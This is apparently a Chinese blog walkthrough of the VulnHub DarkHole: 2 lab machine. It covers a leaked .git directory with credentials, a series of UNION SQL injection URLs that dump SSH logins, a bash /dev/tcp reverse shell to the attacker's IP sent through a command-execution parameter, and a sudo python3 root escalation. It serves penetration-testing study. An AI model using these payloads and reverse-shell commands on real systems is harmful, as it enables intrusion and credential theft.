kali IP地址为192.168.127.139

靶机 IP地址为192.168.127.144

目录

一、信息搜集

1.1、扫描主机口

1.2、 扫描端口

1.3、访问端口

1.4、扫描目录

二、枚举漏洞

2.1、进入目录

2.2、使用git-dumper分析git文件

2.2.1、直接用pip3安装

2.2.2、下载 git 文件夹内容:

2.2.3、切换到backup 文件,查看日志

2.2.4、获取账号,密码

2.3、进入网页的登陆页面

三、漏洞利用

3.1、SQL注入漏洞的利用

3.2、SSH 登陆

四、提权

4.1、sudo 提权

4.2、继续提权

4.3、获取losy的权限

4.4、获取root权限

总结:


一、信息搜集

1.1、扫描主机口

1.2、 扫描端口

发现开放了 22(ssh)、80(http)端口

1.3、访问端口

访问80(http)端口,发现就是正常页面,点击login,就是下面的页面

1.4、扫描目录

扫描目录,可以发现.git 目录

二、枚举漏洞

2.1、进入目录

接着访问.git 目录:http://192.168.127.144/.git/

http://192.168.127.144/.git/

2.2、使用git-dumper分析git文件

2.2.1、直接用pip3安装

pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn git-dumper

2.2.2、下载 git 文件夹内容:

git-dumper http://192.168.127.144/.git/ backup

2.2.3、切换到backup 文件,查看日志

我们发现有三次提交,可以使用Diff查看提交的区别

2.2.4、获取账号,密码

从上面三次提交,我们可以找到账号:lush@admin.com 密码:321

2.3、进入网页的登陆页面

三、漏洞利用

3.1、SQL注入漏洞的利用

刚刚登陆成功之后,同时可以看到 上方 URL 处 id=1,那么存在sql注入的可能性。

第一步:通过单引号或者and方法测试是否有注入

kobe' 无回显结果。

kobe' and 1=1#正确

证明存在sql注入

第二步:order by 猜解表中列数

http://192.168.127.144/dashboard.php?id=1' order by 7 -- - //报错
http://192.168.127.144/dashboard.php?id=1' order by 6 --- //正常

第三步:测试回显位置

http://192.168.127.144/dashboard.php?id=1' union select 1,2,3,4,5,6 -- 

第四步:爆破数据库的名字 

http://192.168.127.144/dashboard.php?id=-1' UNION  SELECT 1,database(),3,4,5,6  -- -

 获取数据库的名字:darkhole_2

第五步:爆破数据库的表名

http://192.168.127.144/dashboard.php?id=-1%27%20union%20select%201,2,3,4,5,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--+1

第六步:爆破数据库里面的字段,因为要进入后台,我们选择爆ssh表字段。 

http://192.168.127.144/dashboard.php?id=-1%27%20union%20select%201,2,3,4,5,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27ssh%27%20--+

第七步:爆破ssh表里面的数据 

http://192.168.127.144/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(user,0x3a,pass) from ssh  --+1

第八步:攻破获取账号密码成功 

如图所示:得到 ssh 表中的用户和密码:
jehad:fool

当然也可以这样写SQL语句代码:

#爆表名
http://192.168.127.144/dashboard.php?id=-1' UNION  SELECT 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database() -- -
#爆列名
http://192.168.127.144/dashboard.php?id=-1' UNION  SELECT 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database() and table_name='users'-- -
#爆数据
http://192.168.127.144/dashboard.php?id=-1' UNION  SELECT 1,user,psas,4,5,6 ssh-- -

3.2、SSH 登陆

尝试ssh 登陆,登陆成功

四、提权 

4.1、sudo 提权

  登陆 jehad 的账号以后,查看当前用户可运行的命令或文件,结果没权限,还要切换其他具有sudo权限的用户继续进行提权

4.2、继续提权 

cat /etc/passwd | grep "/bin/bash"

如图所示:具有 /bin/bash 的用户除了 root 外 有: lama, jehad, losy 。

查看 历史命令记录

cat .bash_history

发现本地有9999端口的服务。

查看 socket 统计信息

ss -antp

如图所示: 可以看到 127.0.0.1:9999 端口存在活动。

接着我们执行命令:

 curl "http://127.0.0.1:9999/?cmd=id"

可以发现9999端口网站的用户是losy

4.3、获取losy的权限

重新连接登陆 ssh,将本地端口 9999 端口与远程主机端口映射,访问本地端口转发到远程主机

ssh jehad@192.168.127.144 -L 9999:localhost:9999

构造连接 kali 的命令 

bash -c 'bash -i >& /dev/tcp/192.168.127.139/7777 0>&1'

使用 URL 编码

bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.127.139%2F7777%200%3E%261'

使用 nc 监听 6666端口,然后浏览器(也可直接用curl)访问:

http://127.0.0.1:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.127.139%2F7777%200%3E%261%27
curl http://127.0.0.1:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.127.139%2F7777%200%3E%261%27

成功拿到 losy 的权限

查看历史,看看losy的history都做了什么,在history中发现泄露密码等重要信息,以及存在python环境,和一段提权的执行代码 

如图所示:在第 88 行 发现了账号密码: losy:gang, 最后只有密码也为: gang。

看到了:password: gang

ssh连接losy用户

 

4.4、获取root权限

losy是有sudo权限的

sudo -l 查看命令

可以看到python3有root权限,我们直接 sudo 可以执行 python3 切换到 root shell

利用:

sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

最终提权成功,查找信息,获取flag 

总结:

本次靶机难度:高难度。本靶机涉及git 信息泄露漏洞,SQL 注入漏洞,系统配置漏洞等等

攻击的大体流程:

  1. 扫描出主机口
  2. nmap 扫出80端口存在.git目录
  3. 用两个git信息收集脚本,用git-dumper工具分析git文件。
  4. 通过git log git diff 查看git 历史提交记录和提交的差异 发现后台登录账号密码
  5. 进入后台后通过url 处sql注入 注入出 ssh表的账号密码 登录jehad的 ssh
  6. 通过 jehad的.bash_history 历史命令 发现 9999端口存在命令执行漏洞反弹losy shell成功
  7. losy 的 .bash_history 历史命令 发现 sudo -l 和密码 gang
  8. 通过sudo -l 信息 用python3 切换至root shell。

[渗透测试学习靶机05] vulnhub靶场 DarkHole: 2相关推荐

  1. [渗透测试学习靶机03] vulnhub靶场 Empire LupinOne

    Kali 的IP地址:192.168.127.139 靶机的IP地址:192.168.127.142 目录 一.信息搜集 1.1.扫描主机口 1.2.扫描端口 二.Web漏洞利用 2.1.目录遍历 2 ...

  2. [渗透测试学习靶机02] vulnhub靶场 Empire: Breakout

    kali IP地址为192.168.127.139 靶机 IP地址为192.168.127.141 目录 一.信息搜集 1.1.扫描主机口 1.2.端口扫描 1.3.目录扫描 2.枚举漏洞 2.1.枚 ...

  3. 渗透测试学习之靶机DC-2

    1.下载靶机 本篇文章是DC靶机系列的第二个篇,针对DC-2,建议感兴趣的读者从DC-1开始练习((26条消息) 渗透测试学习之靶机DC-1_xdbzdgx的博客-CSDN博客). DC-2的下载地址 ...

  4. KALI LINUX渗透测试学习笔记

    KALI LINUX渗透测试学习笔记 (苑房弘主讲) 第1章 课程介绍 任务1:Kali Linux渗透测试介绍.exe 安全问题的根源: 分层思想 只求功能实现 最大的威胁是人 渗透测试: 尝试挫败 ...

  5. Web渗透测试对靶机注入shell(phpMyAdmin)

    Web渗透测试对靶机注入shell 文章目录 Web渗透测试对靶机注入shell 1.寻找目标信息 netdiscover扫描 nmap扫描 利用御剑后台进行扫描 2.对登录页面进行暴力破解 启动bu ...

  6. 渗透测试学习总体概括

    渗透测试学习总体概括 一.相关内容 1.编程语言基础知识语法的一个掌握,对于编程的本身来讲没有区别.2.把一个想法变成一个工具或者功能.3.安全工程师的软件工程能力较弱,也不影响安全的能力.java的 ...

  7. 渗透测试学习笔记之案例二

    0x00 前言 渗透是个持续的过程,不断地搜集信息,整理信息,以及利用信息,最终的目标就是拿到系统乃至整个网络的最高权限.在笔者看来,渗透测试与安全研究的最大不同就是前者擅长利用后者的研究成果并运用到 ...

  8. Android 渗透测试学习手册 翻译完成!

    Android 渗透测试学习手册 中文版 原书:Learning Pentesting for Android Devices 译者:飞龙 在线阅读 PDF格式 EPUB格式 MOBI格式 代码仓库 ...

  9. web渗透测试学习路径图

    Web渗透测试学习路线 一.基础知识 1.1 网络协议 <图解http> 1.2 编程语言 python 30 days for python go 1.3 Linux/Bash Over ...

最新文章

  1. python pandas_Python库Pandas数据可视化实战案例
  2. ACM1598并查集方法
  3. 数据传输完整性_电缆监测数据传输系统分析与设计
  4. Jenkins任务配置详解,支持ssh远程部署,maven聚合项目,springboot
  5. logrotate测试_日志管理工具logrotate
  6. 生态系统服务——水源涵养水源涵养分布数据
  7. C# 调用office 2007 及 SaveAsPDFandXPS.exe 将Word、Excel、PPT转换为PDF文件
  8. linux能安装cad快速看图不,ubuntu下能过wine安装cad快速看图
  9. windows cl命令行编译和nmake
  10. python学生管理系统毕业设计flask_python+flask实现简单的web端学生管理系统
  11. CentOs7下Zabbix安装教程——准备工作
  12. python爬取学籍信息_小学 学生学籍信息汇总及自动检查代码(Python)
  13. eclipse项目名前出现红色感叹号的原因及解决的方法
  14. python 苹果笔记本电脑报价_千万别花冤枉钱!大学生买本得这么选!
  15. 《变形金刚》编年史『经典文章变形金刚迷们必看』
  16. BooT模式: Flash、ISP、SRAM
  17. 华云数据出席2021信创发展论坛:喜获信创双项殊荣 发布业内首个《信创云基座白皮书》
  18. getoutputstream java_Java已为此响应调用getOutputStream()
  19. 在vue中实现picker样式_vue中van-picker的多列联动数据格式如何设置以及调用
  20. 如何获取维普万方等的免费账号--在校外下载维普万方等全文

热门文章

  1. svg 地图_如何一秒 GET 全国各省市区县的地图?
  2. c语言 字符串加密和解密算法实现
  3. vue项目利用cesium框架加载倾斜摄影OSGB三维数据(详细)
  4. 所有系统如何创建宽带连接服务器,如何设置本地连接和宽带连接(打印机).doc
  5. 《社会调查数据管理——基于Stata 14管理CGSS数据》一2.2 数据管理的工作标准...
  6. 如何将电子海图的航线导到gps上_基于GPS和电子海图的船舶导航系统设计与实现...
  7. java 盲水印_GitHub - Yxiaojian/BlindWaterMark: Java盲水印
  8. Spring boot集成axis2开发webservice 服务
  9. NES —— Go 语言开发的任天堂游戏模拟器
  10. 服务器装系统步骤图解win7,怎么装win7系统?本地硬盘安装win7/XP系统详细教程